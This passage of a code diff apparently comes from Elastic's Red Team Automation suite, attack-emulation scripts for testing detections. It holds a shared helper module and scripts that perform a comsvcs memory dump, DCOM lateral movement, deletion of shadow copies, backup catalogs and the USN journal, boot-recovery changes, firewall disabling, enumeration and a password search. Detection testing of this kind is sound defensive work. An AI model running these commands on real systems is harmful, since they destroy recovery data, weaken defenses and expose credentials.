elif sys.platform.startswith("win"):
|
||||
CURRENT_OS = WINDOWS
|
||||
else:
|
||||
CURRENT_OS = LINUX
|
||||
|
||||
if CURRENT_OS == WINDOWS:
|
||||
CMD_PATH = os.environ.get("COMSPEC")
|
||||
POWERSHELL_PATH = 'C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
else:
|
||||
CMD_PATH = "/bin/sh"
|
||||
POWERSHELL_PATH = None
|
||||
|
||||
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
ALL_IP = "0.0.0.0"
|
||||
IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
|
||||
CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+"
|
||||
|
||||
USER_NAME = getpass.getuser().lower()
|
||||
|
||||
SUCCESS = 0
|
||||
PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it
|
||||
GENERAL_ERROR = 2
|
||||
MISSING_DEPENDENCIES = 3
|
||||
MISSING_PSEXEC = 4
|
||||
ACCESS_DENIED = 5
|
||||
UNSUPPORTED_RTA = 6
|
||||
MISSING_REMOTE_HOST = 7
|
||||
|
||||
# Amount of seconds a command should take at a minimum.
|
||||
# This can allow for arbitrary slow down of scripts
|
||||
MIN_EXECUTION_TIME = 0
|
||||
|
||||
MAX_HOSTS = 64
|
||||
|
||||
# Useful constants
|
||||
HKLM = "hklm"
|
||||
HKCU = "hkcu"
|
||||
HKU = "hku"
|
||||
HKCR = "hkcr"
|
||||
|
||||
SZ = "sz"
|
||||
EXPAND_SZ = "expand_sz"
|
||||
MULTI_SZ = "multi_sz"
|
||||
DWORD = "dword"
|
||||
|
||||
|
||||
OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []}
|
||||
|
||||
|
||||
def requires_os(*os_list):
|
||||
if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)):
|
||||
os_list = os_list[0]
|
||||
|
||||
def decorator(f):
|
||||
# Register this function with the support os mapping
|
||||
for os_type in os_list:
|
||||
OS_MAPPING[os_type].append(f.__module__.split(".")[-1])
|
||||
|
||||
@functools.wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if CURRENT_OS not in os_list:
|
||||
filename = os.path.relpath(inspect.getsourcefile(f))
|
||||
func_name = f.__name__
|
||||
|
||||
log("Unsupported OS for {filename}:{func}(). Expected {os}".format(
|
||||
filename=filename, func=func_name, os="/".join(os_list)), "!")
|
||||
return UNSUPPORTED_RTA
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
return decorator
|
||||
|
||||
|
||||
def check_dependencies(*paths):
|
||||
missing = []
|
||||
for path in paths:
|
||||
if not os.path.exists(path):
|
||||
log("Missing dependency %s" % path, "!")
|
||||
missing.append(path)
|
||||
return len(missing) == 0
|
||||
|
||||
|
||||
def dependencies(*paths):
|
||||
missing = []
|
||||
for path in paths:
|
||||
if not os.path.exists(path):
|
||||
missing.append(path)
|
||||
|
||||
def decorator(f):
|
||||
@functools.wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if len(missing):
|
||||
log("Missing dependencies for %s:%s()" % (f.func_code.co_filename, f.func_code.co_name), "!")
|
||||
for dep in missing:
|
||||
print(" - %s" % os.path.relpath(dep, BASE_DIR))
|
||||
return MISSING_DEPENDENCIES
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
return decorator
|
||||
|
||||
|
||||
def pause():
|
||||
time.sleep(0.5)
|
||||
|
||||
|
||||
def get_path(*path):
|
||||
return os.path.join(BASE_DIR, *path)
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
def temporary_file(contents, file_name=None):
|
||||
handle, close = temporary_file_helper(contents, file_name)
|
||||
|
||||
try:
|
||||
yield handle
|
||||
finally:
|
||||
close()
|
||||
|
||||
|
||||
def temporary_file_helper(contents, file_name=None):
|
||||
if not (file_name and os.path.isabs(file_name)):
|
||||
file_name = os.path.join(tempfile.gettempdir(), file_name or 'temp{:d}'.format(hash(contents)))
|
||||
|
||||
with open(file_name, 'wb' if isinstance(contents, bytes) else 'w') as f:
|
||||
f.write(contents)
|
||||
|
||||
f = open(file_name, 'rb' if isinstance(contents, bytes) else 'r')
|
||||
|
||||
def close():
|
||||
f.close()
|
||||
os.remove(file_name)
|
||||
|
||||
return f, close
|
||||
|
||||
|
||||
def execute(command, hide_log=False, mute=False, timeout=30, wait=True, kill=False, drop=False, stdin=None,
|
||||
shell=False, **kwargs):
|
||||
"""Execute a process and get the output."""
|
||||
command_string = command
|
||||
close = None
|
||||
|
||||
if isinstance(command, (list, tuple)):
|
||||
command = [to_unicode(arg) for arg in command]
|
||||
command_string = subprocess.list2cmdline(command)
|
||||
|
||||
if shell:
|
||||
command = command_string
|
||||
else:
|
||||
sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n")
|
||||
|
||||
if not hide_log:
|
||||
print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string))
|
||||
|
||||
if isinstance(stdin, (bytes, str, type(u""))):
|
||||
stdin, close = temporary_file_helper(stdin)
|
||||
|
||||
stdout = subprocess.PIPE
|
||||
stderr = subprocess.STDOUT
|
||||
|
||||
if drop or kill:
|
||||
devnull = open(os.devnull, "w")
|
||||
stdout = devnull
|
||||
stderr = devnull
|
||||
|
||||
start = time.time()
|
||||
|
||||
p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs)
|
||||
|
||||
if kill:
|
||||
delta = 0.5
|
||||
# Try waiting for the process to die
|
||||
for _ in range(int(timeout / delta) + 1):
|
||||
time.sleep(delta)
|
||||
if p.poll() is not None:
|
||||
return
|
||||
|
||||
log("Killing process", str(p.pid))
|
||||
try:
|
||||
p.kill()
|
||||
time.sleep(0.5)
|
||||
except OSError:
|
||||
pass
|
||||
elif wait:
|
||||
output = ''
|
||||
|
||||
if not stdin:
|
||||
try:
|
||||
p.stdin.write(os.linesep.encode('ascii'))
|
||||
except IOError:
|
||||
# this pipe randomly breaks when executing certain non-zero exit commands on linux
|
||||
pass
|
||||
|
||||
while p.poll() is None:
|
||||
line = p.stdout.readline().decode('ascii', 'ignore')
|
||||
if line:
|
||||
output += line
|
||||
if not (hide_log or mute):
|
||||
print(line.rstrip())
|
||||
|
||||
output += p.stdout.read().decode('ascii', 'ignore')
|
||||
output = output.strip()
|
||||
|
||||
# Add artificial sleep to slow down command lines
|
||||
end = time.time()
|
||||
run_time = end - start
|
||||
if run_time < MIN_EXECUTION_TIME:
|
||||
time.sleep(MIN_EXECUTION_TIME - run_time)
|
||||
|
||||
if not (hide_log or mute):
|
||||
if p.returncode != 0:
|
||||
print("exit code = %d" % p.returncode)
|
||||
print("")
|
||||
|
||||
if close:
|
||||
close()
|
||||
|
||||
return p.returncode, output
|
||||
else:
|
||||
if close:
|
||||
close()
|
||||
|
||||
return p
|
||||
|
||||
|
||||
def log(message, log_type='+'):
|
||||
print('[%s] %s' % (log_type, message))
|
||||
|
||||
|
||||
def copy_file(source, target):
|
||||
log('Copying %s -> %s' % (source, target))
|
||||
shutil.copy(source, target)
|
||||
|
||||
|
||||
def link_file(source, target):
|
||||
log('Linking %s -> %s' % (source, target))
|
||||
execute(["ln", "-s", source, target])
|
||||
|
||||
|
||||
def remove_file(path):
|
||||
if os.path.exists(path):
|
||||
log('Removing %s' % path, log_type='-')
|
||||
# Try three times to remove the file
|
||||
for _ in range(3):
|
||||
try:
|
||||
os.remove(path)
|
||||
except OSError:
|
||||
time.sleep(0.25)
|
||||
else:
|
||||
return
|
||||
|
||||
|
||||
def remove_directory(path):
|
||||
if os.path.exists(path):
|
||||
if os.path.isdir(path):
|
||||
log('Removing directory {:s}'.format(path), log_type='-')
|
||||
shutil.rmtree(path)
|
||||
else:
|
||||
remove_file(path)
|
||||
|
||||
|
||||
def is_64bit():
|
||||
return os.environ.get('PROCESSOR_ARCHITECTURE', "") in ('x64', 'AMD64')
|
||||
|
||||
|
||||
def remove_files(*paths):
|
||||
for path in paths:
|
||||
remove_file(path)
|
||||
|
||||
|
||||
def clear_web_cache():
|
||||
log("Clearing temporary files", log_type="-")
|
||||
execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True)
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
def serve_web(ip=None, port=None, directory=BASE_DIR):
|
||||
handler = SimpleHTTPRequestHandler
|
||||
|
||||
ip = ip or get_ip()
|
||||
|
||||
if port is not None:
|
||||
server = TCPServer((ip, port), handler)
|
||||
else:
|
||||
# Otherwise, try to find a port
|
||||
for port in range(8000, 9000):
|
||||
try:
|
||||
server = TCPServer((ip, port), handler)
|
||||
break
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
def server_thread():
|
||||
log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory))
|
||||
os.chdir(directory)
|
||||
server.serve_forever()
|
||||
|
||||
# Start this thread in the background
|
||||
thread = threading.Thread(target=server_thread)
|
||||
thread.setDaemon(True)
|
||||
thread.start()
|
||||
|
||||
time.sleep(0.5)
|
||||
return server, ip, port
|
||||
|
||||
|
||||
def patch_file(source_file, old_bytes, new_bytes, target_file=None):
|
||||
target_file = target_file or target_file
|
||||
log("Patching bytes %s [%s] --> %s [%s]" % (source_file, binascii.b2a_hex(old_bytes),
|
||||
target_file, binascii.b2a_hex(new_bytes)))
|
||||
|
||||
with open(source_file, "rb") as f:
|
||||
contents = f.read()
|
||||
|
||||
patched = contents.replace(old_bytes, new_bytes)
|
||||
|
||||
with open(target_file, "wb") as f:
|
||||
f.write(patched)
|
||||
|
||||
|
||||
def patch_regex(source_file, regex, new_bytes, target_file=None):
|
||||
regex = regex.encode('ascii')
|
||||
new_bytes = new_bytes.encode('ascii')
|
||||
target_file = target_file or source_file
|
||||
log("Patching by regex %s --> %s" % (source_file, target_file))
|
||||
|
||||
with open(source_file, "rb") as f:
|
||||
contents = f.read()
|
||||
|
||||
matches = re.findall(regex, contents)
|
||||
|
||||
log("Changing %s -> %s" % (', '.join('{}'.format(m) for m in matches), new_bytes))
|
||||
contents = re.sub(regex, new_bytes, contents)
|
||||
|
||||
with open(target_file, "wb") as f:
|
||||
f.write(contents)
|
||||
|
||||
|
||||
def wchar(s):
|
||||
return s.encode('utf-16le')
|
||||
|
||||
|
||||
def find_remote_host():
|
||||
log("Searching for remote Windows hosts")
|
||||
_, stdout = execute("net view", hide_log=True)
|
||||
hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout)
|
||||
|
||||
# _, current_user = execute("whoami", hide_log=True)
|
||||
pending = {}
|
||||
|
||||
log("Discovery %d possible hosts" % len(hosts))
|
||||
for name in hosts[:MAX_HOSTS]:
|
||||
name = name.lower()
|
||||
if name.split('.')[0] == HOSTNAME.split('.')[0]:
|
||||
continue
|
||||
|
||||
# log("Checking if %s has remote admin permissions to %s" % (current_user, name))
|
||||
dev_null = open(os.devnull, "w")
|
||||
p = subprocess.Popen('sc.exe \\\\%s query' % name,
|
||||
stdout=dev_null,
|
||||
stderr=dev_null,
|
||||
stdin=subprocess.PIPE)
|
||||
pending[name] = p
|
||||
|
||||
if len(pending) > 0:
|
||||
# See which ones return first with a success code, and use that host
|
||||
for _ in range(20):
|
||||
for hostname, pending_process in sorted(pending.items()):
|
||||
if pending_process.poll() is None:
|
||||
pending_process.stdin.write(os.linesep)
|
||||
if pending_process.returncode == 0:
|
||||
# Now need to get the IP address
|
||||
ip = get_ipv4_address(hostname)
|
||||
if ip is not None:
|
||||
log('Using remote host %s (%s)' % (ip, hostname))
|
||||
return ip
|
||||
pending.pop(hostname)
|
||||
time.sleep(0.5)
|
||||
|
||||
log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!")
|
||||
return get_ip()
|
||||
|
||||
|
||||
def get_ipv4_address(hostname):
|
||||
if re.match(IP_REGEX, hostname):
|
||||
return hostname
|
||||
|
||||
code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True)
|
||||
if code != 0:
|
||||
return None
|
||||
|
||||
addresses = re.findall(IP_REGEX, output)
|
||||
if len(addresses) == 0:
|
||||
return None
|
||||
return addresses[0]
|
||||
|
||||
|
||||
def find_writeable_directory(base_dir):
|
||||
for root, dirs, files in os.walk(base_dir):
|
||||
for d in dirs:
|
||||
subdir = os.path.join(base_dir, d)
|
||||
try:
|
||||
test_file = os.path.join(subdir, "test_file")
|
||||
f = open(test_file, "w")
|
||||
f.close()
|
||||
os.remove(test_file)
|
||||
return subdir
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
|
||||
def check_system():
|
||||
return USER_NAME == "system" or USER_NAME.endswith("$")
|
||||
|
||||
|
||||
PS_EXEC = get_path("bin", "PsExec.exe")
|
||||
|
||||
|
||||
def run_system(arguments=None):
|
||||
if check_system():
|
||||
return None
|
||||
|
||||
if arguments is None:
|
||||
arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:]
|
||||
|
||||
log("Attempting to elevate to SYSTEM using PsExec")
|
||||
if not os.path.exists(PS_EXEC):
|
||||
log("PsExec not found", log_type="-")
|
||||
return MISSING_PSEXEC
|
||||
|
||||
p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments)
|
||||
p.wait()
|
||||
code = p.returncode
|
||||
if code == ACCESS_DENIED:
|
||||
log("Failed to escalate to SYSTEM", "!")
|
||||
return code
|
||||
|
||||
|
||||
def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False):
|
||||
# type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
|
||||
with temporary_reg(hive, key, value, data, data_type, restore, pause, append):
|
||||
pass
|
||||
|
||||
|
||||
def read_reg(hive, key, value): # type: (str, str, str) -> (str, str)
|
||||
winreg = get_winreg()
|
||||
|
||||
if isinstance(hive, strings):
|
||||
hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
|
||||
'hkcu': winreg.HKEY_LOCAL_MACHINE,
|
||||
'hku': winreg.HKEY_USERS,
|
||||
'hkcr': winreg.HKEY_CLASSES_ROOT}
|
||||
hive = hives[hive.lower()]
|
||||
|
||||
try:
|
||||
hkey = winreg.CreateKey(hive, key.rstrip("\\"))
|
||||
old_data, old_type = winreg.QueryValueEx(hkey, value)
|
||||
except WindowsError as e:
|
||||
# check if the key already exists
|
||||
if e.errno != 2:
|
||||
raise
|
||||
|
||||
return None, None
|
||||
|
||||
return old_data, old_type
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False):
|
||||
# type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
|
||||
winreg = get_winreg()
|
||||
|
||||
if isinstance(hive, strings):
|
||||
hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
|
||||
'hkcu': winreg.HKEY_CURRENT_USER,
|
||||
'hku': winreg.HKEY_USERS,
|
||||
'hkcr': winreg.HKEY_CLASSES_ROOT}
|
||||
hive = hives[hive.lower()]
|
||||
|
||||
if isinstance(data_type, strings):
|
||||
attr = 'REG_' + data_type.upper()
|
||||
data_type = getattr(winreg, attr)
|
||||
|
||||
if data_type is None:
|
||||
data_type = winreg.REG_SZ
|
||||
|
||||
key = key.rstrip('\\')
|
||||
hkey = winreg.CreateKey(hive, key)
|
||||
exists = False
|
||||
old_data = None
|
||||
old_type = None
|
||||
|
||||
if hkey:
|
||||
try:
|
||||
old_data, old_type = winreg.QueryValueEx(hkey, value)
|
||||
exists = True
|
||||
except WindowsError as e:
|
||||
# check if the key already exists
|
||||
exists = False
|
||||
old_data, old_type = None, None
|
||||
if e.errno != 2:
|
||||
raise
|
||||
|
||||
if append and exists:
|
||||
# If appending to the existing REG_MULTI_SZ key, then append to the end
|
||||
if not isinstance(data, list):
|
||||
data = [data]
|
||||
|
||||
if isinstance(old_data, list):
|
||||
data = old_data + data
|
||||
|
||||
data_string = ','.join(data) if isinstance(data, list) else data
|
||||
log("Writing to registry %s\\%s -> %s" % (key, value, data_string))
|
||||
winreg.SetValueEx(hkey, value, 0, data_type, data)
|
||||
stored, code = winreg.QueryValueEx(hkey, value)
|
||||
|
||||
if data != stored:
|
||||
log("Wrote %s but retrieved %s" % (data, stored), log_type="-")
|
||||
|
||||
# Allow code to execute within the context manager 'with'
|
||||
try:
|
||||
yield
|
||||
|
||||
finally:
|
||||
if restore:
|
||||
time.sleep(0.5)
|
||||
|
||||
if not exists:
|
||||
# If it didn't already exist, then delete it
|
||||
log("Deleting %s\\%s" % (key, value), log_type="-")
|
||||
winreg.DeleteValue(hkey, value)
|
||||
else:
|
||||
# Otherwise restore the value
|
||||
data_string = ','.join(old_data) if isinstance(old_data, list) else old_data
|
||||
log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-")
|
||||
winreg.SetValueEx(hkey, value, 0, old_type, old_data)
|
||||
|
||||
hkey.Close()
|
||||
print("")
|
||||
|
||||
if pause:
|
||||
time.sleep(0.5)
|
||||
|
||||
|
||||
def enable_logon_auditing(host='localhost', verbose=True, sleep=2):
|
||||
"""Enable logon auditing on local or remote system to enable 4624 and 4625 events."""
|
||||
if verbose:
|
||||
log('Ensuring audit logging enabled on {}'.format(host))
|
||||
|
||||
auditpol = 'auditpol.exe /set /subcategory:Logon /failure:enable /success:enable'
|
||||
enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format(
|
||||
host, auditpol)
|
||||
command = ['powershell', '-c', enable_logging]
|
||||
enable = execute(command)
|
||||
|
||||
# additional time to allow auditing to process
|
||||
time.sleep(sleep)
|
||||
return enable
|
||||
|
||||
|
||||
def print_file(path):
|
||||
print(path)
|
||||
if not os.path.exists(path):
|
||||
print('--- NOT FOUND ----')
|
||||
else:
|
||||
print('-' * 16)
|
||||
with open(path, 'r') as f:
|
||||
print(f.read().rstrip())
|
||||
|
||||
print('')
|
||||
@@ -0,0 +1,27 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Memory Dump via Comsvcs
|
||||
# RTA: comsvcs_dump.py
|
||||
# ATT&CK: T1117
|
||||
# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Memory Dump via Comsvcs")
|
||||
pid = os.getpid()
|
||||
common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll",
|
||||
"MiniDump", "{} dump.bin full".format(pid)])
|
||||
time.sleep(1)
|
||||
common.remove_file("dump.bin")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,40 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: DCOM Lateral Movement with MMC
|
||||
# RTA: dcom_lateral_movement_with_mmc.py
|
||||
# ATT&CK: T1175
|
||||
# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os("windows")
|
||||
def main(remote_host=None):
|
||||
remote_host = remote_host or common.get_ip()
|
||||
common.log("DCOM Lateral Movement with MMC")
|
||||
|
||||
common.log("Attempting to move laterally to {}".format(remote_host))
|
||||
remote_host = common.get_ipv4_address(remote_host)
|
||||
common.log("Using IP address {}".format(remote_host))
|
||||
|
||||
# Prepare PowerShell command for DCOM lateral movement
|
||||
|
||||
ps_command = """
|
||||
$dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}'));
|
||||
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7');
|
||||
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7');
|
||||
$dcom.quit();
|
||||
""".format(remote_host=remote_host)
|
||||
|
||||
command = ["powershell", "-c", ps_command]
|
||||
|
||||
# Execute command
|
||||
common.execute(command, timeout=15, kill=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,35 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Boot Config Deletion With bcdedit
|
||||
# RTA: delete_bootconf.py
|
||||
# ATT&CK: T1107
|
||||
# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot
|
||||
# configuration, finally restoring the original.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
# Messing with the boot configuration is probably not a great idea so create a backup:
|
||||
common.log("Exporting the boot configuration....")
|
||||
bcdedit = "bcdedit.exe"
|
||||
backup_file = os.path.abspath("boot.cfg")
|
||||
common.execute(["bcdedit.exe", "/export", backup_file])
|
||||
|
||||
# WARNING: this is a destructive command which might be super bad to run
|
||||
common.log("Changing boot configuration", log_type="!")
|
||||
common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"])
|
||||
common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"])
|
||||
|
||||
# Restore the boot configuration
|
||||
common.log("Restoring boot configuration from %s" % backup_file, log_type="-")
|
||||
common.execute([bcdedit, "/import", backup_file])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,25 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Catalog Deletion with wbadmin.exe
|
||||
# RTA: delete_catalogs.py
|
||||
# ATT&CK: T1107
|
||||
# Description: Uses wbadmin to delete the backup catalog.
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown."
|
||||
common.log("WARNING: %s" % warning, log_type="!")
|
||||
time.sleep(2.5)
|
||||
|
||||
common.execute(["wbadmin", "delete", "catalog", "-quiet"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,24 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: USN Journal Deletion with fsutil.exe
|
||||
# RTA: delete_usnjrnl.py
|
||||
# ATT&CK: T1107
|
||||
# Description: Uses fsutil to delete the USN journal.
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
message = "Deleting the USN journal may have unintended consequences"
|
||||
common.log("WARNING: %s" % message, log_type="!")
|
||||
time.sleep(2.5)
|
||||
common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,23 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Volume Shadow Copy Deletion with vssadmin and wmic
|
||||
# RTA: delete_volume_shadow.py
|
||||
# ATT&CK: T1107
|
||||
# Description: Uses both vssadmin.exe and wmic.exe to delete volumne shadow copies.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Deleting volume shadow copies...")
|
||||
common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"])
|
||||
# Create a volume shadow copy so that there is at least one to delete
|
||||
common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"])
|
||||
common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Disable Windows Firewall
|
||||
# RTA: disable_windows_fw.py
|
||||
# ATT&CK: T1089
|
||||
# Description: Uses netsh.exe to backup, disable and restore firewall rules.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("NetSH Advanced Firewall Configuration", log_type="~")
|
||||
netsh = "netsh.exe"
|
||||
|
||||
rules_file = os.path.abspath("fw.rules")
|
||||
|
||||
# Check to be sure that fw.rules does not already exist from previously running this script
|
||||
common.remove_file(rules_file)
|
||||
|
||||
common.log("Backing up rules")
|
||||
common.execute([netsh, "advfirewall", "export", rules_file])
|
||||
|
||||
common.log("Disabling the firewall")
|
||||
common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"])
|
||||
|
||||
common.log("Undoing the firewall change", log_type="-")
|
||||
common.execute([netsh, "advfirewall", "import", rules_file])
|
||||
|
||||
common.remove_file(rules_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,73 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Common Enumeration Commands
|
||||
# RTA: enum_commands.py
|
||||
# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135
|
||||
# Description: Executes a list of administration tools commonly used by attackers for enumeration.
|
||||
|
||||
import argparse
|
||||
import random
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main(args=None):
|
||||
slow_commands = [
|
||||
"gpresult.exe /z",
|
||||
"systeminfo.exe"
|
||||
]
|
||||
|
||||
commands = [
|
||||
"ipconfig /all",
|
||||
"net localgroup administrators",
|
||||
"net user",
|
||||
"net user administrator",
|
||||
"net user /domain"
|
||||
"tasklist",
|
||||
"net view",
|
||||
"net view /domain",
|
||||
"net view \\\\%s" % common.get_ip(),
|
||||
"netstat -nao",
|
||||
"whoami",
|
||||
"hostname",
|
||||
"net start",
|
||||
"tasklist /svc",
|
||||
"net time \\\\%s" % common.get_ip(),
|
||||
"net use",
|
||||
"net view",
|
||||
"net start",
|
||||
"net accounts",
|
||||
"net localgroup",
|
||||
"net group",
|
||||
"net group \"Domain Admins\" /domain",
|
||||
"net share",
|
||||
"net config workstation",
|
||||
]
|
||||
|
||||
commands.extend(slow_commands)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int,
|
||||
help="Number of commands to run, choosen at random from the list of enumeration commands")
|
||||
args = parser.parse_args(args)
|
||||
sample = min(len(commands), args.sample)
|
||||
|
||||
if sample < len(commands):
|
||||
random.shuffle(commands)
|
||||
|
||||
common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands)))
|
||||
for command in commands[0:sample]:
|
||||
|
||||
common.log("About to call {}".format(command))
|
||||
if command in slow_commands:
|
||||
common.execute(command, kill=True, timeout=15)
|
||||
common.log("[output surpressed]", log_type='-')
|
||||
else:
|
||||
common.execute(command)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,21 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Recursive Password Search
|
||||
# RTA: findstr_pw_search.py
|
||||
# ATT&CK: T1081
|
||||
# Description: Recursively searches files looking for the string "password".
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
path = "c:\\rta"
|
||||
common.log("Searching for passwords on %s" % path)
|
||||
common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,30 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Persistence using GlobalFlags
|
||||
# RTA: globalflags.py
|
||||
# ATT&CK: T1183
|
||||
# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored
|
||||
# process (notepad.exe) is closed.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Setting up persistence using Globalflags")
